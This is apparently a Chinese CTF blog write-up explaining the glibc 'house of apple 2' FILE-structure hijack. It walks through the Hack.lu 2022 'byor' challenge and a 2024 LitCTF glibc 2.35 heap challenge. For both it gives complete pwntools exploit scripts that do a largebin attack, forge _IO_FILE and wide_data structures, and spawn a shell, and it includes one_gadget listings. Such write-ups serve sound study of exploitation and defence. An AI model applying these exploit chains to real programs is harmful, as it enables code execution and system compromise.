欢迎光临
我们一直在努力

house off apple 做题记录(apple2)

一、Hack.lu.CTF.2022  byor(很好的一个apple2入门题目)

代码审计加checksec

但是这里要注意一个这个__bss_start这个IO文件,我们都知道bss最上面是我们stdout,stdin,stderr结构体的指针,那么这个实际上就是我们stdout的指针,这只是ida反汇编时出现了一些小错误,所以显示的不是stdout。所以这里的if(read)实际上是在修改我们的stdout的结构体。

这个if是说,如果如果read了0xE0字节那么我们会在oxao那写一个calloc,这个地方实际上是IO_file_Plus里面的一个IO结构体wide_data,我们apple到doallocated,这条链是要用到wide_data这个IO的因为doallocated用的就是wide_data里面的wvtable里面的doalloacted里面的指针,所以我们不能让他被清零,所以我们必须不能写道0xE0字节

fake_IO_stodut的构造

先看代码

fake_io_payload = flat({
0x00: b' sh'.ljust(8,b'\\x00'),
0x10: p64(0), # _IO_read_ptr (偏移 0x10)
0x18: p64(0), # _IO_read_end (偏移 0x18)
0x20: p64(1), # _IO_write_base (偏移 0x20)
0x28: p64(2), # _IO_write_ptr
0x68: p64(libc_base+libc.sym['system']),
0x88: p64(stdout_lock),
0x98: p64(IO),
0xa0: p64(IO-0x48),
0xc0: p64(0xffffffffffffffff), # _model=-1
0xd8: p64(_IO_wfile_jumps)

}, filler=b'\\x00')

ok我们知道这个触发是用exit来的到flush每一个IO结构体,当满足一些条件的时候会调用

_IO_OVERFLOW(fp, EOF),这个函数会调用vtable里面的指针,那么这个时候我们把

_IO_file_jumps换成
_IO_wfile_jumps,那么他就会调用
_IO_wfile_jumps里面的
__overflow


_IO_wfile_overflow函数

_IO_wfile_overflow
-> _IO_wdoallocbuf
-> _IO_WDOALLOCATE
-> wide_vtable + 0x68

_IO_wfile_overflow后面的调用链是代码这样的,那么他最后就会调用wide_data里面的wide_vtable的一个函数,我们把这个改成我们想要执行的函数,就能够达到目的。

说一下利用的条件

0.保证IO_stdout检查合理

flags & 0x8==0

lock要可读可写的地址

1.触发
 _IO_OVERFLOW(fp, EOF)

条件有二 
 :fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base或者

fp->_mode > 0 &&fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

所以第一种的常用构造:

_mode = 0 或 -1
_IO_write_base = 1
_IO_write_ptr = 2

第二种:

_mode = 1 或 2
wide->_IO_write_base = 0
wide->_IO_write_ptr = 1

2.
_IO_wfile_overflow调_IO_wdoallocbuf`

条件:fp->_wide_data->_IO_write_base == 0

3.
_IO_wdoallocbuf 调 _IO_WDOALLOCATE

条件:
fp->_wide_data->_IO_buf_base == 0

4.结果

_IO_WDOALLOCATE(fp)   -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

fake_IO_stdout的各个字段的含义

fake_io_payload = flat({
0x00: b' sh'.ljust(8,b'\\x00'),
0x10: p64(0), # _IO_read_ptr (偏移 0x10)
0x18: p64(0), # _IO_read_end (偏移 0x18)
0x20: p64(1), # _IO_write_base (偏移 0x20)
0x28: p64(2), # _IO_write_ptr
0x68: p64(libc_base+libc.sym['system']),
0x88: p64(stdout_lock),
0x98: p64(IO),
0xa0: p64(IO-0x48),
0xc0: p64(0xffffffffffffffff), # _model=-1
0xd8: p64(_IO_wfile_jumps)

}, filler=b'\\x00')

1.触发
 _IO_OVERFLOW(fp, EOF)

这里我们将_model=-1,write_base=1,write_ptr=2.

2.调用
_IO_wfile_jumps里面的
__overflow的
_IO_wfile_overflow函数

这时候我们将vtable换成_IO_wfile_jumps

3._IO_wfile_overflow调_IO_wdoallocbuf         
_IO_wdoallocbuf 调 _IO_WDOALLOCATE

fp->_wide_data->_IO_buf_base == 0

fp->_wide_data->_IO_write_base == 0

这一步有点难,因为要使_wide_data->_IO_write_base可控,我们要把_wide_data换成可控的地址,在0xa0的位置,这里我们覆盖为IO-0x48因为在libc的stdout,stdin,stderr这些libc里面的IO的-0x48为起点,+0x18也就是write_base和+0x30也就是buf_base一般是0,所以符合条件(这里的write_base等是在wide_data这个IO里面的而wide_data里面是没有flag的所以合IO_file_plus的偏移有一点不一样)

4.篡改_IO_WDOALLOCATE(fp)-> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

到这一步我们只用把_wide_vtable+0x68改成target就好了

我们之前已经把wide_data改成IO-0x48了,而_wide_vtable在wide_data里面的偏移0xe0,所以就是IO-0x48+0xe0=IO+0x98位置写上_wide_vtable而我们要可控_wide_vtable+0x68的值,所以这个我们也要伪造,伪造为IO,那么IO+0x68为我们想要执行的东西

5.flags和lock

flags&0x8==0

lock可读可写

攻击

输入payload,但是注意我们要[ : -1 ]因为不能到0xE0而我们地址最后一位是零,所以我们可以不要-1,位置的,同时,在执行vtable的函数使,参数rdi为IO的首地址,所以我们写其为sh。

EXP:

from pwn import*
#from pwncli import *

libc=ELF('./libc.so.6')
context.terminal = ['tmux', 'splitw', '-h']
context( arch = "amd64",os='linux')
#io=process("./heap")
libc_rop=ROP("./libc.so.6")
io=process('./byor')

io.recvuntil(b': ')
IO=int(io.recv(12),16)
print("IO : 0x%x"%IO)
libc_base=IO – libc.sym['_IO_2_1_stdout_']
print("libc_base : 0x%x"%libc_base)

stdout_lock=libc_base+ 0x21ca70
_IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
stdout=libc_base+libc.sym['_IO_2_1_stdout_']
#gdb.attach(io)
fake_io_payload = flat({
0x00: b' sh'.ljust(8,b'\\x00'),
0x10: p64(0), # _IO_read_ptr (偏移 0x10)
0x18: p64(0), # _IO_read_end (偏移 0x18)
0x20: p64(1), # _IO_write_base (偏移 0x20)
0x28: p64(2), # _IO_write_ptr
0x68: p64(libc_base+libc.sym['system']),
0x88: p64(stdout_lock),
0x98: p64(IO),
0xa0: p64(IO-0x48),
0xc0: p64(0xffffffffffffffff), # _model=-1
0xd8: p64(_IO_wfile_jumps)

}, filler=b'\\x00')
#gdb.attach(io)
io.send(fake_io_payload[:-1])

io.interactive()

"""
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
"""

2024Litctf heap 2.35

ok哇看懂了这个byor,那么这个litctf heap2.35就很好懂了,前面是在我们的libc真实的IO里面去覆盖值,而这一题是在堆上伪造我们的IO,但是首先你得先会largebins attack然后我们才能进行接下来的内容

代码审计

很普通的逻辑,没有功能缺失,有UAF,最多创建0x10个堆块

分析:

因为是2.35版本的所以我们不再有hook可以打了,那么我们只能盯着IO了,这里我们打

exit->apple2的链子

步骤:

1、泄漏heap于libc,这个简单

add(0,0×18)
add(1,0×510)
add(2,0×10)
add(3,0×520)
add(4,0×10)
delete(3)
add(5,0×530)

show(3)
#gdb.attach(io)
io.recvuntil(b'content : ')
libc_adder=u64(io.recv(6).ljust(8,b'\\x00'))
libc_base=libc_adder-0x21b110
print("0x%x"%libc_base)
# 0x7b0
edit(3,b'a'*0x10)
show(3)
io.recvuntil(b'content : aaaaaaaaaaaaaaaa')
heap_adder=u64(io.recv(6).ljust(8,b'\\x00'))
heap_base=heap_adder-0x7f0
print("0x%x"%heap_base)

先把一个堆块放入largebins里面再泄漏libc和heap的地址

2.进行largebins的攻击

这个目的是再IO_list_all上写入fake_IO的堆块地址

large_chunk_head=flat(
{
0x0:libc_adder,
0x8:libc_adder,
0x10:chunk1_adder,
0x18:io_list_all-0x20
}
)
delete(1)
edit(3,large_chunk_head)

add(6,0×540)

这些是bk_nextsize为我们向写到哪的地址,除了bk其他的指针尽量别动,再add(6)时,触发了largebins攻击,使这个 ,上面delete的1的地址写入了IO_list_all.这样我们下一步就是在1上面伪造fake_IO了

3.fake_IO的伪造

这里还要有一点点注意的东西,我们把1的地址写入了,IO_list_all那么,堆头其实是我们IO_的开始,那么我们想堆块里面写东西,最多最多从IO+0x10开始写入,只能从IO_read_end开始写,那么我们的flags在pre_size里面可以由上一个堆块写入

0x10: p32(0xfffff7f5),
0x14: b'\\x00\\x00\\x00\\x00'
fake_io_payload = flat({
# 0x00: 这里是 edit(0) 填好的 flags
# 0x08: 这里是 edit(0) 填好的 size 代表 _IO_read_ptr

0x10: p64(0), # _IO_read_end (偏移 0x10)
0x18: p64(0), # _IO_read_base (偏移 0x18)
0x20: p64(1), # _IO_write_base (偏移 0x20)
0x28: p64(2), # _IO_write_ptr (偏移 0x28)

0xa0: p64(chunk0_adder + 0x100), # _wide_data 指针
0xc0: p64(0xffffffffffffffff), # _mode = -1
0xd8: p64(_IO_wfile_jumps), # vtable -> _IO_wfile_jumps

# — 0x100: _IO_wide_data 结构体 —
0x100 + 0xe0: p64(chunk0_adder + 0x200), # _wide_vtable 指针

# — 0x200: 伪造的虚表 —
0x200 + 0x68: p64(libc_base+0xebd43) # __doallocate -> system
}, filler=b'\\x00')

ok来看model,write_base,write_ptr设置好了,然后IO_wfile_jumps也覆盖了,wide_data是下面的0x100的位置,将wide_vtable设置为再下面0x100,在里面写入one_gadget,ok里面全补零,那么wide_data->wriet_base,buf_base都为零就稳了

exit()触发

EXP:

""" house of apple 2024litctf 2.35"""

from pwn import*
libc=ELF('./libc.so.6')
context.terminal = ['tmux', 'splitw', '-h']
context( arch = "amd64",os='linux')
#io=process("./heap")
io=remote('node4.anna.nssctf.cn',29370)
libc_rop=ROP("./libc.so.6")
def menu(choice):
io.sendlineafter(b">>", str(choice).encode())
def add(index, size):
menu(1)
io.sendlineafter(b"idx? ", str(index).encode())
io.sendlineafter(b"size? ", str(size).encode())
def delete(index):
menu(2)
io.sendlineafter(b"idx? ", str(index).encode())
def edit(index, data):
if isinstance(data, str):
data = data.encode()
menu(4)
io.sendlineafter(b"idx? ", str(index).encode())
io.sendafter(b"content : ", data)
def show(index):
menu(3)
io.sendlineafter(b"idx? ", str(index).encode())
#要参数的时候_flag设置为0xfffff7f5(前四个字节),后面四个字节设置为参数数就是你__doallocate覆盖的函数的参数
add(0,0×18)
add(1,0×510)
add(2,0×10)
add(3,0×520)
add(4,0×10)
delete(3)
add(5,0×530)

show(3)
#gdb.attach(io)
io.recvuntil(b'content : ')
libc_adder=u64(io.recv(6).ljust(8,b'\\x00'))
libc_base=libc_adder-0x21b110
print("0x%x"%libc_base)
# 0x7b0
edit(3,b'a'*0x10)
show(3)
io.recvuntil(b'content : aaaaaaaaaaaaaaaa')
heap_adder=u64(io.recv(6).ljust(8,b'\\x00'))
heap_base=heap_adder-0x7f0
print("0x%x"%heap_base)

io_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
back_door=libc_base+libc.symbols['system']

chunk1_adder=heap_adder
chunk0_adder=chunk1_adder-0x540

large_chunk_head=flat(
{
0x0:libc_adder,
0x8:libc_adder,
0x10:chunk1_adder,
0x18:io_list_all-0x20
}
)
delete(1)
edit(3,large_chunk_head)

add(6,0×540)

# fake_header_flags = flat({
# 0x10: p32(0xfffff7f5), # _flags
# 0x14: b'\\x00\\x00\\x00\\x00'
# })
# edit(0,fake_header_flags)
fake_io_payload = flat({
# 0x00: 这里是 edit(0) 填好的 flags
# 0x08: 这里是 edit(0) 填好的 size 代表 _IO_read_ptr

0x10: p64(0), # _IO_read_end (偏移 0x10)
0x18: p64(0), # _IO_read_base (偏移 0x18)
0x20: p64(1), # _IO_write_base (偏移 0x20)
0x28: p64(2), # _IO_write_ptr (偏移 0x28)

0xa0: p64(chunk0_adder + 0x100), # _wide_data 指针
0xc0: p64(0xffffffffffffffff), # _mode = -1
0xd8: p64(_IO_wfile_jumps), # vtable -> _IO_wfile_jumps

# — 0x100: _IO_wide_data 结构体 —
0x100 + 0xe0: p64(chunk0_adder + 0x200), # _wide_vtable 指针

# — 0x200: 伪造的虚表 —
0x200 + 0x68: p64(libc_base+0xebd43) # __doallocate -> system
}, filler=b'\\x00')

edit(1, fake_io_payload[0x10:])
#gdb.attach(io)
menu(5)
io.interactive()

"""
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
"""

赞(0)
未经允许不得转载:171主机测评 » house off apple 做题记录(apple2)
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址